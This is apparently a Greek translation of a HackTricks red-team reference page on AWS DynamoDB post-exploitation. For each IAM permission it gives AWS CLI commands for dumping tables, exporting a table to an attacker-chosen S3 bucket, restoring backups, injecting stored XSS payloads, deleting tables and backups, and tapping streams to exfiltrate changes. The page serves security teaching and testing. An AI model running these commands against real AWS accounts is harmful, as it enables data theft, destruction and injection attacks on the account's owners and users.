AWS - DynamoDB Post Exploitation

Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

DynamoDB

Για περισσότερες πληροφορίες, ελέγξτε:

AWS - DynamoDB Enum

dynamodb:BatchGetItem

Ένας επιτιθέμενος με αυτές τις άδειες θα μπορεί να πάρει στοιχεία από πίνακες με βάση τον πρωτεύον κλειδί (δεν μπορείτε απλά να ζητήσετε όλα τα δεδομένα του πίνακα). Αυτό σημαίνει ότι πρέπει να γνωρίζετε τα πρωτεύοντα κλειδιά (μπορείτε να τα πάρετε αυτά παίρνοντας τα μεταδεδομένα του πίνακα (describe-table).

aws dynamodb batch-get-item --request-items file:///tmp/a.json

// With a.json
{
"ProductCatalog" : { // This is the table name
"Keys": [
{
"Id" : { // Primary keys name
"N": "205" // Value to search for, you could put here entries from 1 to 1000 to dump all those
}
}
]
}
}

Πιθανές Επιπτώσεις: Έμμεση αύξηση προνομίων με τον εντοπισμό ευαίσθητων πληροφοριών στον πίνακα

dynamodb:GetItem

Όμοια με τα προηγούμενα δικαιώματα, αυτό επιτρέπει σε έναν πιθανό επιτιθέμενο να διαβάσει τιμές από έναν μόνο πίνακα δεδομένων, δίνοντας τον πρωτεύον κλειδί της καταχώρησης που θέλει να ανακτήσει:

aws dynamodb get-item --table-name ProductCatalog --key  file:///tmp/a.json

// With a.json
{
"Id" : {
"N": "205"
}
}

Με αυτήν την άδεια είναι επίσης δυνατή η χρήση της μεθόδου transact-get-items όπως:

aws dynamodb transact-get-items \
--transact-items file:///tmp/a.json

// With a.json
[
{
"Get": {
"Key": {
"Id": {"N": "205"}
},
"TableName": "ProductCatalog"
}
}
]

Πιθανές Επιπτώσεις: Έμμεση αύξηση προνομιακών δικαιωμάτων με τον εντοπισμό ευαίσθητων πληροφοριών στον πίνακα

dynamodb:Query

Παρόμοια με τα προηγούμενα δικαιώματα, αυτό επιτρέπει σε έναν πιθανό επιτιθέμενο να διαβάσει τιμές από μόνο έναν πίνακα, δεδομένου του πρωτεύοντος κλειδιού της καταχώρησης που θέλει να ανακτήσει. Επιτρέπει τη χρήση ενός υποσυνόλου συγκρίσεων, αλλά η μόνη επιτρεπτή σύγκριση με το πρωτεύον κλειδί (που πρέπει να υπάρχει) είναι "EQ", οπότε δεν μπορείτε να χρησιμοποιήσετε μια σύγκριση για να ανακτήσετε ολόκληρη τη βάση δεδομένων σε μία αίτηση.

aws dynamodb query --table-name ProductCatalog --key-conditions file:///tmp/a.json

// With a.json
{
"Id" : {
"ComparisonOperator":"EQ",
"AttributeValueList": [ {"N": "205"} ]
}
}

Πιθανές Επιπτώσεις: Έμμεση αύξηση προνομιακών δικαιωμάτων με τον εντοπισμό ευαίσθητων πληροφοριών στον πίνακα

dynamodb:Scan

Μπορείτε να χρησιμοποιήσετε αυτήν την άδεια για να αντιγράψετε εύκολα ολόκληρο τον πίνακα.

aws dynamodb scan --table-name <t_name> #Get data inside the table

Πιθανές Επιπτώσεις: Έμμεση αύξηση προνομιακών δικαιωμάτων με τον εντοπισμό ευαίσθητων πληροφοριών στον πίνακα

dynamodb:PartiQLSelect

Μπορείτε να χρησιμοποιήσετε αυτήν την άδεια για να αντιγράψετε εύκολα ολόκληρο τον πίνακα.

aws dynamodb execute-statement \
--statement "SELECT * FROM ProductCatalog"

Αυτή η άδεια επιτρέπει επίσης την εκτέλεση batch-execute-statement όπως:

aws dynamodb batch-execute-statement \
--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'

αλλά πρέπει να καθορίσετε τον πρωτεύον κλειδί με μια τιμή, οπότε δεν είναι τόσο χρήσιμο.

Πιθανές Επιπτώσεις: Έμμεση αύξηση προνομιακών δικαιωμάτων με τον εντοπισμό ευαίσθητων πληροφοριών στον πίνακα

dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)

Αυτή η άδεια θα επιτρέψει σε έναν επιτιθέμενο να εξάγει ολόκληρο τον πίνακα σε ένα S3 bucket της επιλογής του:

aws dynamodb export-table-to-point-in-time \
--table-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable \
--s3-bucket <attacker_s3_bucket> \
--s3-prefix <optional_prefix> \
--export-time <point_in_time> \
--region <region>

Σημείωση ότι για να λειτουργήσει αυτό, ο πίνακας πρέπει να έχει ενεργοποιημένη την ανάκτηση σε συγκεκριμένο χρονικό σημείο. Μπορείτε να ελέγξετε αν ο πίνακας το έχει με την εντολή:

aws dynamodb describe-continuous-backups \
--table-name <tablename>

Εάν δεν είναι ενεργοποιημένο, θα χρειαστεί να το ενεργοποιήσετε και για αυτό χρειάζεστε την άδεια dynamodb:ExportTableToPointInTime:

aws dynamodb update-continuous-backups \
--table-name <value> \
--point-in-time-recovery-specification PointInTimeRecoveryEnabled=true

Πιθανές Επιπτώσεις: Έμμεση αύξηση προνομιακών δικαιωμάτων με τον εντοπισμό ευαίσθητων πληροφοριών στον πίνακα

dynamodb:CreateTable, dynamodb:RestoreTableFromBackup, (dynamodb:CreateBackup)

Με αυτές τις άδειες, ένας επιτιθέμενος θα μπορούσε να δημιουργήσει έναν νέο πίνακα από ένα αντίγραφο ασφαλείας (ή ακόμα και να δημιουργήσει ένα αντίγραφο ασφαλείας για να το ανακτήσει σε έναν διαφορετικό πίνακα). Στη συνέχεια, με τις απαραίτητες άδειες, θα μπορούσε να ελέγξει πληροφορίες από τα αντίγραφα ασφαλείας που δεν θα μπορούσαν να υπάρχουν πλέον στον παραγωγικό πίνακα.

aws dynamodb restore-table-from-backup \
--backup-arn <source-backup-arn> \
--target-table-name <new-table-name> \
--region <region>

Πιθανές Επιπτώσεις: Έμμεση αύξηση προνομιακών δικαιωμάτων με τον εντοπισμό ευαίσθητων πληροφοριών στο αντίγραφο ασφαλείας του πίνακα

dynamodb:PutItem

Αυτή η άδεια επιτρέπει στους χρήστες να προσθέτουν ένα νέο στοιχείο στον πίνακα ή να αντικαθιστούν ένα υπάρχον στοιχείο με ένα νέο στοιχείο. Εάν υπάρχει ήδη ένα στοιχείο με τον ίδιο πρωτεύον κλειδί, το σύνολο του στοιχείου θα αντικατασταθεί με το νέο στοιχείο. Εάν το πρωτεύον κλειδί δεν υπάρχει, θα δημιουργηθεί ένα νέο στοιχείο με το καθορισμένο πρωτεύον κλειδί.

## Create new item with XSS payload
aws dynamodb put-item --table <table_name> --item file://add.json
### With add.json:
{
"Id": {
"S": "1000"
},
"Name": {
"S":  "Marc"
},
"Description": {
"S": "<script>alert(1)</script>"
}
}

Πιθανές Επιπτώσεις: Εκμετάλλευση περαιτέρω ευπαθειών/παρακαμπτήριων μέσω της δυνατότητας προσθήκης/τροποποίησης δεδομένων σε έναν πίνακα DynamoDB

dynamodb:UpdateItem

Αυτή η άδεια επιτρέπει στους χρήστες να τροποποιούν τα υπάρχοντα χαρακτηριστικά ενός στοιχείου ή να προσθέτουν νέα χαρακτηριστικά σε ένα στοιχείο. Δεν αντικαθιστά ολόκληρο το στοιχείο, αλλά ενημερώνει μόνο τα συγκεκριμένα χαρακτηριστικά. Εάν ο πρωτεύον κλειδί δεν υπάρχει στον πίνακα, η λειτουργία θα δημιουργήσει ένα νέο στοιχείο με το καθορισμένο πρωτεύον κλειδί και θα ορίσει τα χαρακτηριστικά που καθορίζονται στην έκφραση ενημέρωσης.

## Update item with XSS payload
aws dynamodb update-item --table <table_name> \
--key file://key.json --update-expression "SET Description = :value" \
--expression-attribute-values file://val.json
### With key.json:
{
"Id": {
"S": "1000"
}
}
### and val.json
{
":value": {
"S": "<script>alert(1)</script>"
}
}
aws dynamodb update-item \
--table-name ExampleTable \
--key '{"Id": {"S": "1"}}' \
--update-expression "SET Attribute1 = :val1, Attribute2 = :val2" \
--expression-attribute-values '{":val1": {"S": "NewValue1"}, ":val2": {"S": "NewValue2"}}' \
--region <region>

Πιθανές Επιπτώσεις: Εκμετάλλευση περαιτέρω ευπαθειών/παρακάμψεων με τη δυνατότητα προσθήκης/τροποποίησης δεδομένων σε έναν πίνακα DynamoDB

dynamodb:DeleteTable

Ένας επιτιθέμενος με αυτήν την άδεια μπορεί να διαγράψει έναν πίνακα DynamoDB, προκαλώντας απώλεια δεδομένων.

aws dynamodb delete-table \
--table-name TargetTable \
--region <region>

Πιθανές επιπτώσεις: Απώλεια δεδομένων και διακοπή υπηρεσιών που εξαρτώνται από τον διαγραμμένο πίνακα.

dynamodb:DeleteBackup

Ένας επιτιθέμενος με αυτήν την άδεια μπορεί να διαγράψει ένα αντίγραφο ασφαλείας του DynamoDB, προκαλώντας πιθανή απώλεια δεδομένων σε περίπτωση ανάκτησης μετά από καταστροφή.

aws dynamodb delete-backup \
--backup-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable/backup/BACKUP_ID \
--region <region>

Πιθανές επιπτώσεις: Απώλεια δεδομένων και αδυναμία ανάκτησης από αντίγραφο ασφαλείας κατά τη διάρκεια μιας διαδικασίας ανάκτησης μετά από καταστροφή.

dynamodb:StreamSpecification, dynamodb:UpdateTable, dynamodb:DescribeStream, dynamodb:GetShardIterator, dynamodb:GetRecords

ΕΡΓΑΣΙΕΣ: Δοκιμάστε αν αυτό πράγματι λειτουργεί

Ένας επιτιθέμενος με αυτές τις άδειες μπορεί να ενεργοποιήσει ένα ρεύμα σε έναν πίνακα DynamoDB, να ενημερώσει τον πίνακα για να αρχίσει να ρέει αλλαγές και στη συνέχεια να έχει πρόσβαση στο ρεύμα για να παρακολουθεί αλλαγές στον πίνακα σε πραγματικό χρόνο. Αυτό επιτρέπει στον επιτιθέμενο να παρακολουθεί και να εξαγάγει αλλαγές δεδομένων, με πιθανή διαρροή δεδομένων.

  1. Ενεργοποίηση ροής σε έναν πίνακα DynamoDB:

bashCopy codeaws dynamodb update-table \
--table-name TargetTable \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \
--region <region>
  1. Περιγράψτε τη ροή για να αποκτήσετε το ARN και άλλες λεπτομέρειες:

bashCopy codeaws dynamodb describe-stream \
--table-name TargetTable \
--region <region>
  1. Λάβετε τον δείκτη του shard χρησιμοποιώντας το ARN της ροής:

bashCopy codeaws dynamodbstreams get-shard-iterator \
--stream-arn <stream_arn> \
--shard-id <shard_id> \
--shard-iterator-type LATEST \
--region <region>
  1. Χρησιμοποιήστε τον δείκτη του shard για να αποκτήσετε πρόσβαση και να εξαγάγετε δεδομένα από τη ροή:

bashCopy codeaws dynamodbstreams get-records \
--shard-iterator <shard_iterator> \
--region <region>

Πιθανές επιπτώσεις: Πραγματικού χρόνου παρακολούθηση και διαρροή δεδομένων των αλλαγών στον πίνακα DynamoDB.

Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Last updated